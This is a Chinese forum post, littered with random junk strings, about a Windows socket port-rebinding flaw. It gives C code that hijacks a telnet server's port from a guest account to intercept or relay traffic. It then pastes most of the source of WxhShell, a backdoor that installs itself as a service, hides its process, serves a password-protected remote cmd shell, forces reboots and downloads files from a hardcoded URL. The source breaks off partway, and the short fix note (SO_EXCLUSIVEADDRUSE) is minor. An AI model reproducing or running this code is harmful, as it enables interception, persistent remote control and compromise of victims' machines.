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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lEw;X78+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {{B'65Wu HCCq9us saddr.sin_family = AF_INET; / !y~Q|<|= 6=Wevb5YJ saddr.sin_addr.s_addr = htonl(INADDR_ANY); (P=WKZMPN zg'.f UZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [#YzU^^Ib e"*1l>g 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $:# :"
w~:F? 这意味着什么?意味着可以进行如下的攻击: 6(x53y__ ;Qi!~VsP; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7yXJ\(6R_ lMG+,?<uK& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1GIBqs~- X&h?1lMJ / 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vexF|'!}0# q[+h ~) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 G
B,O NEPK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D>;_R
HK "shX~zd5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WnOvU<Z
< aOd|;Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KJv%t_4'F !@wUARQ #include {$5g29 #include w{u,YM(Q #include f$9|qfW'$ #include +>%51#2.Q DWORD WINAPI ClientThread(LPVOID lpParam); 8'_MCx( int main() ;(jL`L F { }K`KoM WORD wVersionRequested; q317~z_nl DWORD ret; M,X)rM}Q WSADATA wsaData; }_F:]lI*R BOOL val; )v*k\:Hw SOCKADDR_IN saddr; d[5v A/8O SOCKADDR_IN scaddr; [La}h2gz int err; D?8(n=#[ SOCKET s; _ker,;{9C SOCKET sc; 7&/1K%x9; int caddsize; }s:3_9mE HANDLE mt; *4LRdLMn DWORD tid; O*bzp-6\ wVersionRequested = MAKEWORD( 2, 2 ); 5`$!s17 err = WSAStartup( wVersionRequested, &wsaData ); XA(.O|VZ if ( err != 0 ) { (:o:_U printf("error!WSAStartup failed!\n"); b|@zjh;]A7 return -1; ZHUW1:qs } /R?[/`)f& saddr.sin_family = AF_INET; `rK@> - BTYYp1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hOkn@F. ,grx'to(X saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^^*L;b>I saddr.sin_port = htons(23); i(.V`G= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A.@wGy4 { _cC1u7U9 printf("error!socket failed!\n"); 10.ZBfn return -1; rNKeY48\ } _~{J."q val = TRUE; P;-.\VRu //SO_REUSEADDR选项就是可以实现端口重绑定的
2VUN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r%WHYhD { 8DMqjt3B printf("error!setsockopt failed!\n"); $G 6kS@A return -1; D!#B*[| } "KS"[i!3j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :Ny[?jtc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LFqY2,#i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K"|~D0Qgo #_`p
0wY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fAz4>_4 { NFtA2EMLu[ ret=GetLastError(); wq,&0P-v printf("error!bind failed!\n"); LAM{
,?~ return -1; :?LNP3} } {Rb;1 eYj listen(s,2); )m+O.`x while(1) zDEgC { .Y^3G7On caddsize = sizeof(scaddr); KaS*LDzw //接受连接请求 PC+Soh* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?Q+*[YEJ5 if(sc!=INVALID_SOCKET) KKb7dZbt< {
zY@0R`{@p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gdoaXw;Sy if(mt==NULL) lZe-A/E { s-(c-E09 printf("Thread Creat Failed!\n"); _Ve)M% break; D|<_96_m } ZR%$f- } /ueOc<[8" CloseHandle(mt); (UhJ Pco" } }EHL
}Q closesocket(s); BzH0"xq^ WSACleanup(); _TmKn!Jw return 0; |uz\XK } @%*@Rar DWORD WINAPI ClientThread(LPVOID lpParam) n%RaEL { >?)_, KL SOCKET ss = (SOCKET)lpParam; YU`k^a7%
SOCKET sc; K>LS8,8V unsigned char buf[4096]; .iP>?9$f" SOCKADDR_IN saddr; @Q{:m)\ long num; nT2b"wkTT DWORD val; #`U?,>2q DWORD ret; \CE+P5 //如果是隐藏端口应用的话,可以在此处加一些判断 R.l!KIq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 f%1\1_^g saddr.sin_family = AF_INET; 7fzH(H saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M
#0v# {o saddr.sin_port = htons(23); PX0N7L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1:-
M<=J?f { J7oj@Or9 printf("error!socket failed!\n"); hR:i! return -1; _A&
[rBm| } " W{rS4L val = 100; v$x)$/]n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^_V0irv { .I]v
D#o ret = GetLastError(); Mae2L2vc return -1; iRca c[uV } z.\\m;s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $s]&92 { '@WBq!p ret = GetLastError(); 8 $H\b &u return -1; $!!y v'K } Pg`+Q^^6S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UM`$aPz { s?; V!t printf("error!socket connect failed!\n"); '/Vm[L$d closesocket(sc); ;"e55|d9I closesocket(ss); b "}ya/ return -1; IG;=
| } Oml3=TV while(1) [T)>RF { >Wx9a"H^( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `mYp?NjR_ //如果是嗅探内容的话,可以再此处进行内容分析和记录 [AFGh
L+t3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +XX5;;IC num = recv(ss,buf,4096,0); d!Ws-kzE if(num>0) Yt:%)&50}- send(sc,buf,num,0); r3OtQ else if(num==0) `*yOc6i] break; _Gb7n5p num = recv(sc,buf,4096,0); ,1!Y!,xy if(num>0) Wnp[8IEU send(ss,buf,num,0); X|g5tnsj` else if(num==0) qC& xuu| break; hBcklI }
E5|GP closesocket(ss); t1oTZ closesocket(sc); FEopNDy@y return 0 ; NU{eoqaT } qPUACuF' :
4lR`% 3BLHd< ========================================================== t4~?m{ 2v4&'C 下边附上一个代码,,WXhSHELL 5^l-3s?M 2\O!vp>|- ========================================================== =*6frC~ tBwPB#:W #include "stdafx.h" DAtAc(05) wa&:86~l? #include <stdio.h> H.l
WHM+H4 #include <string.h> !^1oH** #include <windows.h> @^-f+o #include <winsock2.h> }095U(@ #include <winsvc.h> ov\%*z2= #include <urlmon.h> 673G6Nk :'fK`G
6 #pragma comment (lib, "Ws2_32.lib") {+kWK;1 #pragma comment (lib, "urlmon.lib") L+lye Ir' AGVipI # #define MAX_USER 100 // 最大客户端连接数 aK,\e/Oo #define BUF_SOCK 200 // sock buffer m{lS-DlRg #define KEY_BUFF 255 // 输入 buffer 6 {3q l: 9NU-1vd~ #define REBOOT 0 // 重启 -wNhbV2 #define SHUTDOWN 1 // 关机 Spo[JQ%6 CJ#Yu3} #define DEF_PORT 5000 // 监听端口 #0#6eT{- la]Zk #define REG_LEN 16 // 注册表键长度 G"vEtNoV #define SVC_LEN 80 // NT服务名长度 :N
xksL^ `@:k*d // 从dll定义API ,S, R6#3G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V|nJ%G\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xFp9H'j{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "68=dC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A/j'{X!z
,p..h+l // wxhshell配置信息 O7,:-5h0 struct WSCFG { ?DNeL;6 int ws_port; // 监听端口 &,]yqG 2 char ws_passstr[REG_LEN]; // 口令 Aj> int ws_autoins; // 安装标记, 1=yes 0=no )hK;27m4 char ws_regname[REG_LEN]; // 注册表键名 UC00zW<Z@" char ws_svcname[REG_LEN]; // 服务名 3+M+5 char ws_svcdisp[SVC_LEN]; // 服务显示名 XR#?gx .} char ws_svcdesc[SVC_LEN]; // 服务描述信息 ty9(mtH+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n0^3F1Z int ws_downexe; // 下载执行标记, 1=yes 0=no [ID#PUle char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ;b,
bHL char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'w\Gd7E gaL.5_1 }; K5+ONA<c 5Ak>/QF9 // default Wxhshell configuration ]}_Ohe]X struct WSCFG wscfg={DEF_PORT, gGbqXG^ "xuhuanlingzhe", u)P)r, 1, `M_w^&6+n "Wxhshell", %9t=Iu* "Wxhshell", .8CfCRq "WxhShell Service", q&wv{ "Wrsky Windows CmdShell Service", ~~WX#Od*$ "Please Input Your Password: ", %B Rll 1, kAoh#8= " http://www.wrsky.com/wxhshell.exe", elP#s5l4 "Wxhshell.exe" :Ui'x8yt }; H<`7){iG M;@/697G // 消息定义模块 `{J(S'a` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `{S4_' char *msg_ws_prompt="\n\r? for help\n\r#>"; k )fLJ9R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; #}'sknvM} char *msg_ws_ext="\n\rExit."; x^UAtKSy char *msg_ws_end="\n\rQuit."; HR?a93 char *msg_ws_boot="\n\rReboot..."; '494^1"io char *msg_ws_poff="\n\rShutdown..."; G0x!:[ char *msg_ws_down="\n\rSave to "; '[[*(4a3 [8`^_i=# char *msg_ws_err="\n\rErr!"; ery{>|k char *msg_ws_ok="\n\rOK!"; 28xLaob ~NO'8Mr char ExeFile[MAX_PATH]; 1swqs7rR| int nUser = 0; (R{z3[/u& HANDLE handles[MAX_USER]; Vdf~rV int OsIsNt; e= _7Q.cn |\q@XCGei SERVICE_STATUS serviceStatus; 9
J~KM=p SERVICE_STATUS_HANDLE hServiceStatusHandle; x[YW 3nF 4p`z%U~=u // 函数声明 t-J\j"~%+ int Install(void); ]B-3Lh int Uninstall(void); 8d\/ int DownloadFile(char *sURL, SOCKET wsh); Oj.xJ(uX+v int Boot(int flag); TbhsOf! void HideProc(void); to'O;f">n int GetOsVer(void); D??
\H\ int Wxhshell(SOCKET wsl); CK} _xq2b void TalkWithClient(void *cs); aw'o=/a8 int CmdShell(SOCKET sock); #K[6Ai=We} int StartFromService(void); VK$s+" int StartWxhshell(LPSTR lpCmdLine); n0'"/zyc 0]t7(P"F6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dIvvJk8 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3=kw{r[2lM *
n>YS // 数据结构和表定义 --|L?-2k, SERVICE_TABLE_ENTRY DispatchTable[] = je~gk6}Y { VxGR[kq$] {wscfg.ws_svcname, NTServiceMain}, T#R*] {NULL, NULL}
4B=@<(H }; VWE`wan< Ezw< // 自我安装 Zk
9 i}H int Install(void) x?-kt.M { .&c!k1kH char svExeFile[MAX_PATH]; DP7B X^e HKEY key; >W@3_{0 strcpy(svExeFile,ExeFile); >WW5;7$ e5.sqft // 如果是win9x系统,修改注册表设为自启动 $t42?Z=N&z if(!OsIsNt) { ST^{?Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C2Af$7c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cP (is! RegCloseKey(key); tY$4k26 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }h_=
n> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N'RUtFqj RegCloseKey(key); *v9 {f? return 0; Eg|C } 8AVG pL } :l?/]K } B"fKv0 else { 3r,^is @
Yzj // 如果是NT以上系统,安装为系统服务 91j.%#[v' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e't1.%w if (schSCManager!=0) .2:S0=xt< { Z?tw#n[T SC_HANDLE schService = CreateService F6 c1YI[ ( ]h_V5rdX@ schSCManager, ]u@`XVEJ wscfg.ws_svcname, pj9s=}1 ' wscfg.ws_svcdisp, ,O]AB SERVICE_ALL_ACCESS, 9jTm g% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5!^DKyw: SERVICE_AUTO_START, RI64QD SERVICE_ERROR_NORMAL, }=JuC+#~n svExeFile, 05Go*QvV NULL, rA#Ji~ NULL, Cu+u'&U! NULL, F
{T\UX NULL, Gf1O7L1rX NULL DFFB:< ); b_j8g{/9 if (schService!=0) t+Rt*yjO { ZpQ8KY$5 CloseServiceHandle(schService); 04cNi~@m CloseServiceHandle(schSCManager); LS4|$X4H`! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Di8;Tq strcat(svExeFile,wscfg.ws_svcname); 2
VGGSLr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %G>V .d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u9R:2ah&K RegCloseKey(key); 4 Z< return 0; /C)FS?=
} X mX
.)h'Y } G`r*)pdm CloseServiceHandle(schSCManager); QHuh=7u) } E?Ofkc$q }
j8"2K^h=
1|zy6 return 1; 5uufpvah } w_eUU)z o|0QstSCl // 自我卸载 9F"Q2^l' int Uninstall(void) /*yPy? { a2N4Jg@ HKEY key; @ag*zl @n:.D9 if(!OsIsNt) { D&r2k
9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J=qPc}+ RegDeleteValue(key,wscfg.ws_regname); bP ,_H RegCloseKey(key); %!e;sL~& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PC}m.tE RegDeleteValue(key,wscfg.ws_regname); SQd`xbIuL RegCloseKey(key); iNAaTU return 0; HfgK0wIi } Bpw<{U } ,"W.A } X}gnO83 else { 4C{3>BE edy6WzxBcm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oPA
[vY if (schSCManager!=0) [5Dg%?x { #UpxF?A( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kGX;x}q if (schService!=0) ]\t+zF>&Y { Ew kZzVuX if(DeleteService(schService)!=0) { t846:Z%[ CloseServiceHandle(schService); a:3f>0_t CloseServiceHandle(schSCManager); ;c_pa0L return 0; w+0Ch1$ } /o_h'l|PS CloseServiceHandle(schService); b|HH9\ } [d_sd CloseServiceHandle(schSCManager); on q~wEr } )tV^)n[w } Z|kMoB aab?hR return 1; HKdR?HM1 } !bHM:!6^ a~-^$Fzgy // 从指定url下载文件 S3k>34_%9 int DownloadFile(char *sURL, SOCKET wsh) hsUP5_ { E0i_sB~T HRESULT hr; ;|Ja|@82 char seps[]= "/"; UUt631 char *token; p3NTI /- char *file; -)Y?1w char myURL[MAX_PATH]; 3[jk}2R';p char myFILE[MAX_PATH]; ^:RDu q Nh[{B{k strcpy(myURL,sURL); Uieg4I ro token=strtok(myURL,seps); UT9=S21 while(token!=NULL) y=jTS { a;A&>Ei} file=token; oEWx9c{~$ token=strtok(NULL,seps); 2F[;Z*& } V!SB9t`E (1vmtg.O GetCurrentDirectory(MAX_PATH,myFILE); CKTD27}) strcat(myFILE, "\\"); X; gN[ strcat(myFILE, file); a'v%bL;H~ send(wsh,myFILE,strlen(myFILE),0); [i '\d} send(wsh,"...",3,0); afZPju"- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IrRn@15, if(hr==S_OK) adJoT-8P6 return 0; 2rw<]Ce else "F+Wo& return 1; Yb|zE %V$ujun` } N!fp;jvG KcB?[ // 系统电源模块 T'*.LpNP, int Boot(int flag) o^Y'e+T" { w^*jhvV%kW HANDLE hToken; '7F`qL\/#( TOKEN_PRIVILEGES tkp; _l?5GLl_F$ f-\l<o( if(OsIsNt) { Zv=p0xH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]'aGoR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -BV&u( tkp.PrivilegeCount = 1; 7 #,+Q(2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (WW,]#^
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "gCSbMq(Vq if(flag==REBOOT) { B(MO!GNg= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9tS&$-
return 0; ]T+.kC
M } >NE]TZ.F else {
YV 9*B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qR_"aQ7s2 return 0; UY**3MK } @ %z5]w } Y54*mn else { v]*W*; if(flag==REBOOT) { uF T\a= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $ZDh8
*ND return 0; ,>(M5\Z/c } }}qR~.[ else { 8I C(( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nm'm*sU\ return 0; @D"1}CW } S$"A[ } 7$GP#V1r/ @fpxGMy& return 1; "`:#sF9S } O)5-6lm !00%z // win9x进程隐藏模块 ,XP9NHE void HideProc(void) i=2+1;K { #U/B,`= > [uRsB5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g{$&j*Q9 if ( hKernel != NULL ) (oJ#`k:&n { 2
;B[n;Q{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rMlbj2T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *OF7{^~& FreeLibrary(hKernel); 4r(rWlM } ]Ly)%a32 +N4h
Q" return; <R{\pz2w } /gFyow1W uR"]w7= // 获取操作系统版本 Q)a*bPz int GetOsVer(void) &U
'Ds! { g1J]z<& OSVERSIONINFO winfo; f\(K ou$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jv0e&rt GetVersionEx(&winfo); >8NQ8i=]V1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5. l&nt' return 1; `ZefSmb else FpRK^MEkG return 0; #3CA } h V8A<VT Pq4sv`q)S // 客户端句柄模块 SyYa_=En int Wxhshell(SOCKET wsl) _ve7Is`/ { -`?V8OwY] SOCKET wsh; sox90o 7 struct sockaddr_in client; F37,u| DWORD myID; <I|ryPU9{X jA]xpf6} while(nUser<MAX_USER) v5$zz w { -=qmYf int nSize=sizeof(client); fCVSVn"o wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jN {ED_ if(wsh==INVALID_SOCKET) return 1; b'{D4/ YT:5J%" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .HtDcGp if(handles[nUser]==0) 2C8M1^0:Z closesocket(wsh); $K
G?d>wx else *@Qt*f nUser++; v^E5'M[A } oL6_Ya WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3> fuH'= )US)-\^ return 0; [D?E\Nkk } "iydXV=Q vMI \$E& // 关闭 socket $Y4
Ao-@ void CloseIt(SOCKET wsh) '",5Bu#C { G![1+2p:Tq closesocket(wsh); \m.{^Xd~ nUser--; #e0+;kBh ExitThread(0); g+CHF?O } rj5:YQEH; -FPl",f=r // 客户端请求句柄 +<|w|c void TalkWithClient(void *cs) kR_[p._ { PRUGUHY C eg6o&^ SOCKET wsh=(SOCKET)cs; u@|yw) char pwd[SVC_LEN]; # \M<6n{ char cmd[KEY_BUFF]; EagI)W!s[ char chr[1]; [gE2lfaEy int i,j; & 3a+6!L[ p*'?(o:= while (nUser < MAX_USER) { " h#=ctCx" F`N*{at if(wscfg.ws_passstr) { 2-6-kS)c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O|/tRkDMP{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lDA%M3(p //ZeroMemory(pwd,KEY_BUFF);
i}YnJ i=0; @GV^B'}* while(i<SVC_LEN) { qjFgy)qV Yk5kC0B // 设置超时 lV1|\~?4 fd_set FdRead; MWuVV=rd8a struct timeval TimeOut; "N;|~S)w! FD_ZERO(&FdRead); $pKS['J0 FD_SET(wsh,&FdRead); BZBsE
:(F TimeOut.tv_sec=8; WV% KoM,% TimeOut.tv_usec=0; g?`J ,*y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I
F@M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -_}EQ9Q ?\yo~=N^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _`(g? pwd =chr[0]; a"zoDD/ if(chr[0]==0xd || chr[0]==0xa) { g$tW9 Q pwd=0; BCj&z{5"7e break; E5dXu5+ye } (o|E@d i++; 'K!kJ9oqe } 4>W`XH N4:'X6u; // 如果是非法用户,关闭 socket q}!4b'z^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c' 6H@m#= } 8+u8piG PX'LN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dz{e@+>M send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a !IH-XJ2 :U9R
1^}A while(1) { yV8).4 8%4`Yj= ZeroMemory(cmd,KEY_BUFF); EI;\of2, t'J
fiGM // 自动支持客户端 telnet标准 }:%pOL n j=0; VtO+=mZV while(j<KEY_BUFF) { X_qXH5^% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {G}HZv%S U cmd[j]=chr[0]; ,uv$oP- if(chr[0]==0xa || chr[0]==0xd) { Yx"z&J9p cmd[j]=0; --9mTqx break; I%p#E#[G } qj1z>,\ j++; X=3@M_Jzo } #^9;<@M cC4T3]4l' // 下载文件 Zx_m?C_2_ if(strstr(cmd,"http://")) { e-VLU; send(wsh,msg_ws_down,strlen(msg_ws_down),0); !r|X6`g if(DownloadFile(cmd,wsh)) 9<#D0hh$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); BUb(BzC else 6"GpE5'* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @I&"P:E0F; } &Yg/08* else { %gaKnT(|r QP#Wfk(C switch(cmd[0]) { #-;BU{3* G
DV-wPX // 帮助 L9T u>4 case '?': { :m d3@r'] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `9ox?|iJ break; )hug<D *h } #*!$!c{ // 安装 OLrD4 e case 'i': { 9zJ`;1 if(Install()) R%%`wmG)" send(wsh,msg_ws_err,strlen(msg_ws_err),0); h uJqqC else q}5A^QX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K\b O[J break; i7rq;t< } 9QMn%8=j // 卸载 ZkW@ |v
case 'r': { ju]]| if(Uninstall()) hptuTBD send(wsh,msg_ws_err,strlen(msg_ws_err),0); PlZiTP else K_QCYS. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Ni4[\ break; Y9;Mey*oW } "|%9xGX|D // 显示 wxhshell 所在路径 WM"^#=+$ case 'p': { I*}#nY0+ char svExeFile[MAX_PATH]; C t)MvZ strcpy(svExeFile,"\n\r"); sh ;uKzQ strcat(svExeFile,ExeFile); Rs`a@Fn send(wsh,svExeFile,strlen(svExeFile),0); YJ$ewK4E#. break; B5:g{,C } `VtwKt* // 重启 G+uiZ(p> case 'b': { (fa?ftK send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s3{s.55{m if(Boot(REBOOT)) &._!)al send(wsh,msg_ws_err,strlen(msg_ws_err),0); a[n$qPm} else { `?JgHk closesocket(wsh); ~7pjk ExitThread(0); pGY]VwY } 7X(]r1-+\ break; :OCuxSc%5 } U*Qq5=dqD // 关机 'c&@~O;^d case 'd': { 4_+Pv6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K//T}-Uub if(Boot(SHUTDOWN)) -kbm$~P send(wsh,msg_ws_err,strlen(msg_ws_err),0); }4SSo)Uv/ else { Y/H^*1 closesocket(wsh); %i8>w:@NW ExitThread(0); N@6OQ:,[F } ,g_onfY break; u!o]Co> } NRisr // 获取shell >&QH{!( case 's': { 87KrSZ CmdShell(wsh); c^O#O closesocket(wsh); z,FTsR$x ExitThread(0); _I_?k+#WFe break; /;AZ/Ocy! } V<4+g/ // 退出 y?n2`l7f case 'x': { =`~Z@IbdI send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t3t0vWE<, CloseIt(wsh); i 1I>RK break; QaWHz
} $-Pqs
^g // 离开 >}b6J7_ case 'q': { -,VhS I send(wsh,msg_ws_end,strlen(msg_ws_end),0); _sR9 closesocket(wsh); 1/ pA/UVO WSACleanup(); _]xt65TL exit(1); RR!!hY3 K break; ]<T8ZA_Y; } l (,;wAH } ;{f?? G } ZuvPDW% V.ji
_vX // 提示信息 VtO;UN if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dAr)%RZ } g'ZMV6b?K } UIOEkQ\Wl Z.':&7Y return; ggI=I<7M } s)YP%vn# E0eQ9BXh // shell模块句柄 ]1d,O^S int CmdShell(SOCKET sock) ^8NLe9~p3? { HCG@#W<wc STARTUPINFO si; B>Cs&}Y! ZeroMemory(&si,sizeof(si)); zk5=Opmvh si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "6N~2q,SW si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,.jHV PROCESS_INFORMATION ProcessInfo; 7grt4k char cmdline[]="cmd"; D!}K)T1~R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /.)[9bQ< return 0; -~\.n } 6f?BltFaN 7q!yCU // 自身启动模式 P:(EU s}0 int StartFromService(void) .L7Yf+yFg { /^LH typedef struct *)bd1B# { j\'+wVyo DWORD ExitStatus; px|>v8 DWORD PebBaseAddress; 1Vf78n DWORD AffinityMask; oY%"2PW1B DWORD BasePriority; vZE|Z[M+< ULONG UniqueProcessId; 9G#8%[W ULONG InheritedFromUniqueProcessId; b>QM~mq3^I } PROCESS_BASIC_INFORMATION; tyuk{*Me: W&e'3gk _ PROCNTQSIP NtQueryInformationProcess; cRh\USS C~{NKMeC/m static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K2xH'v
O ( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =0h|yjnL/ 0aC2 Pym^ HANDLE hProcess; Wk`bb!P_ PROCESS_BASIC_INFORMATION pbi; 6KEykw
